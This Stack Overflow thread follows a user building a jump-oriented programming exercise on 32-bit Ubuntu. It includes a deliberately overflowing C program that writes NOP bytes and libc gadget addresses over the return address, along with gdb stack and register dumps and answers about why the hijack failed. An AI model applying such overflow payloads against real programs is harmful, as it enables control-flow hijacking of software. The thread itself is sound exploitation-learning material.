Why does stack smaching for changing the return address, can not change the control flow of my program?

0
votes

Actually I'm trying to write and execute a Jump oriented Programming example in Ubuntu 12.10 32 bit and Intel x86 architecture. The first gadget I want it to execute on target system, starts with a POPA instruction. I found its offset address by using objdump -D /lib/libc.so.6 > Cdump.txt from the Cdump.txt file. Then I ran my vulnerable program with gdb and found the range of executable segment of my program using these commands:

ps ax|grep vul 

21193 pts/2    S+     0:00 gdb vul

==>to find the process number of "gdb vul".

grep libc /proc/21193/maps

b7a4a000-b7bed000 r-xp 00000000 08:01 656054     /lib/i386-linux-gnu/libc-2.15.so

==>to find out where the executable program is loaded in memory.

I wrote my arbitrary sequence of instruction's addresses and off the ASLR and Canary protection. This is my simple code to overflow the stack and change the content of "return" in stack to trig my JOP sequences. 

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main()
{
char Buff[4];
memcpy(Buff, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd5\x7a\xbb\xb7\xd6\x7a\xbb\xb7\xd8\x7a\xbb\xb7\xdb\x7a\xbb\xb7\x9c\xf6\xff\xbf\x00\x60\xfc\xb7\xcc\xf6\xff\xbf\x24\xf7\xff\xbf\xb4\xf6\xff\xbf", 52);
return;
}

I debug the program and monitor the stack contents and also registers information. every thing is OK until the esp reaches (%ebp)+8 address, means the address after return. this 4Bytes should load the edi according to POPA instruction which loads in order of edi,esi,ebp,esp,ebx,edx,ecx,eax.

So edi should load by this address = 0xB7BB7AD6 return content in stack is = 0xB7BB7AD5 (The POPA address)

But after memcpy() and it wants to leave, I get this message: 

Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0xb7bb7ad6: Input/output error.

0xb7bb7ad5 in ?? ()

What is this ERROR? Why I can't change the control flow of the program to another instruction in the executable memory of my process?

Please look below for more and detailed information:

This is the 12 top words on stack:

(gdb) x /12wx $esp-20
0xbffff67c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff68c: 0xb7bb7ad5  0xb7bb7ad6  0xb7bb7ad8  0xb7bb7adb
0xbffff69c: 0xbffff69c  0xb7fc6000  0xbffff6cc  0xbffff724

and registers: 

(gdb) info registers
eax            0xbffff67c   -1073744260
ecx            0xbffff6b4   -1073744204
edx            0xbffff6b0   -1073744208
ebx            0xb7fc6000   -1208197120
esp            0xbffff690   0xbffff690
ebp            0x90909090   0x90909090
esi            0x0  0
edi            0x0  0
eip            0xb7bb7ad5   0xb7bb7ad5
eflags         0x200283 [ CF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
2
assemblyx86stack-overflowcpu-registersexploit
It sounds like this is a problem of the debugger (which is confused by your smashed stack), rather than of your approach in principle. – Kerrek SB
Yes, thank you for your answer, I thought about it and test it by setting the break point at "return" (in vulnerable code). Then debug the program by option "next" in gdb which step over the function. But it didn't work out too.Or you mean sth else? Can you please explain more about it? Many many thanks – Farzane
I'm really not sure about the details - I'm mostly guessing: if the debugger inserts break points by overwriting code, and it tries to insert a break point after the function return, but after you've corrupted the stack, it might try to write the breakpoint into the library code, which is read-only. But that's only a guess. I imagine that debuggers would generally be able to step through library code, so it'd actually be weird if it couldn't write there. Maybe it's trying to write to a non-existent address, rather, like 0x90909090. – Kerrek SB

2 Answers

0
votes

At address 0xB7BB7AD5 is not the code of your program, but the code of "libc-2.15.so" shared library. This memory is protected so you can't write in there.

0
votes

Firstly, I chose the wrong process "gdb vul" is the gdb's process not vul itself. Thus the base address was false and I didn't address to executable segment of my process.

Secondly, as it's appear in my shell, there are 16 useless bytes to write on the 4 bytes for Buff and also ebp. It's because when I debug the program with 8 bytes "\x90" (Buff[4] + ebp), the values injected into stack are 8 bytes later than where they should be. I understand that in Ubuntu 12.10, the compiler calls memcpy() and it would push some values into stack. this is the reason that my values in stack seems to be shifted! But in Ubuntu 12.04, the compiler does not call memcpy() and it implements it in code itself. Thus the values overwritten the stack are at their exact position without any shift.